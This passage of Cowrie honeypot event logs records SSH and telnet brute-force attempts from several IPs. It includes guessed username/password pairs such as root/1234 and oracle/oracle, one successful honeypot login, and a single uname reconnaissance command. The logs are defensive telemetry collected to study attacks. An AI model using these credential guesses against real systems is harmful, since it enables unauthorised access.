0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:58.927475Z","src_ip":"176.65.132.129","session":"0b3ce9febb50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:59.323145Z","src_ip":"176.65.132.129","session":"0b3ce9febb50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":52642,"dst_ip":"159.203.135.109","dst_port":22,"session":"9207a4b69c16","protocol":"ssh","message":"New connection: 172.237.20.62:52642 (159.203.135.109:22) [session: 9207a4b69c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:00.377956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:00.383145Z","src_ip":"172.237.20.62","session":"9207a4b69c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:00.408529Z","src_ip":"176.65.132.129","session":"0b3ce9febb50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:00.543808Z","src_ip":"172.237.20.62","session":"9207a4b69c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:01.216948Z","src_ip":"172.237.20.62","session":"9207a4b69c16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53328,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2ea2f22a57d","protocol":"ssh","message":"New connection: 176.65.132.129:53328 (159.203.135.109:22) [session: c2ea2f22a57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:02.194851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:02.201443Z","src_ip":"176.65.132.129","session":"c2ea2f22a57d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:02.284210Z","src_ip":"176.65.132.129","session":"c2ea2f22a57d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.71856713294983,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:02.353515Z","src_ip":"45.58.127.90","session":"40d45b85b4bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:02.426095Z","src_ip":"172.237.20.62","session":"9207a4b69c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:02.534667Z","src_ip":"176.65.132.129","session":"c2ea2f22a57d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:03.621395Z","src_ip":"176.65.132.129","session":"c2ea2f22a57d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.245.96.245","src_port":41375,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef818007b8e0","protocol":"telnet","message":"New connection: 195.245.96.245:41375 (159.203.135.109:23) [session: ef818007b8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:03.656773Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53332,"dst_ip":"159.203.135.109","dst_port":22,"session":"79d5b29f6606","protocol":"ssh","message":"New connection: 176.65.132.129:53332 (159.203.135.109:22) [session: 79d5b29f6606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:05.472619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:05.478703Z","src_ip":"176.65.132.129","session":"79d5b29f6606","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:05.561007Z","src_ip":"176.65.132.129","session":"79d5b29f6606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:05.806090Z","src_ip":"176.65.132.129","session":"79d5b29f6606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:06.891201Z","src_ip":"176.65.132.129","session":"79d5b29f6606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.5097017288208,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:07.224668Z","src_ip":"45.58.127.90","session":"00369eb1e2e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41542,"dst_ip":"159.203.135.109","dst_port":22,"session":"901a5badad8d","protocol":"ssh","message":"New connection: 176.65.132.129:41542 (159.203.135.109:22) [session: 901a5badad8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:08.784703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:08.824143Z","src_ip":"176.65.132.129","session":"901a5badad8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:08.988999Z","src_ip":"176.65.132.129","session":"901a5badad8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:09.258919Z","src_ip":"176.65.132.129","session":"901a5badad8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:10.343449Z","src_ip":"176.65.132.129","session":"901a5badad8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.981282472610474,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:10.530089Z","src_ip":"45.58.127.90","session":"229d27811f0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":35812,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ed9061ef4ed","protocol":"ssh","message":"New connection: 172.237.20.62:35812 (159.203.135.109:22) [session: 9ed9061ef4ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:11.499501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:11.504741Z","src_ip":"172.237.20.62","session":"9ed9061ef4ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:11.667082Z","src_ip":"172.237.20.62","session":"9ed9061ef4ed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:12.149691Z","src_ip":"172.237.20.62","session":"9ed9061ef4ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41554,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7d17df8c62f","protocol":"ssh","message":"New connection: 176.65.132.129:41554 (159.203.135.109:22) [session: f7d17df8c62f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:12.289120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:12.294028Z","src_ip":"176.65.132.129","session":"f7d17df8c62f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:12.375987Z","src_ip":"176.65.132.129","session":"f7d17df8c62f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:12.521578Z","src_ip":"172.237.20.62","session":"9ed9061ef4ed","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:12.525069Z","src_ip":"172.237.20.62","session":"9ed9061ef4ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:12.626229Z","src_ip":"176.65.132.129","session":"f7d17df8c62f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:12.689784Z","src_ip":"172.237.20.62","session":"9ed9061ef4ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:12.694967Z","src_ip":"172.237.20.62","session":"9ed9061ef4ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:13.710409Z","src_ip":"176.65.132.129","session":"f7d17df8c62f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":36111,"dst_ip":"10.17.0.5","dst_port":22,"session":"db728b027a39","protocol":"ssh","message":"New connection: 193.106.245.20:36111 (10.17.0.5:22) [session: db728b027a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:13.884847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:13.889108Z","src_ip":"193.106.245.20","session":"db728b027a39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:14.011497Z","src_ip":"193.106.245.20","session":"db728b027a39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"p@ssword","message":"login attempt [test1/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:14.537348Z","src_ip":"193.106.245.20","session":"db728b027a39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.8653519153595,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:15.419202Z","src_ip":"45.58.127.90","session":"d4e0c72cf49e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41562,"dst_ip":"159.203.135.109","dst_port":22,"session":"c49aea8b1b8b","protocol":"ssh","message":"New connection: 176.65.132.129:41562 (159.203.135.109:22) [session: c49aea8b1b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:15.587660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:15.593124Z","src_ip":"176.65.132.129","session":"c49aea8b1b8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:15.666089Z","src_ip":"193.106.245.20","session":"db728b027a39","protocol":"ssh"}
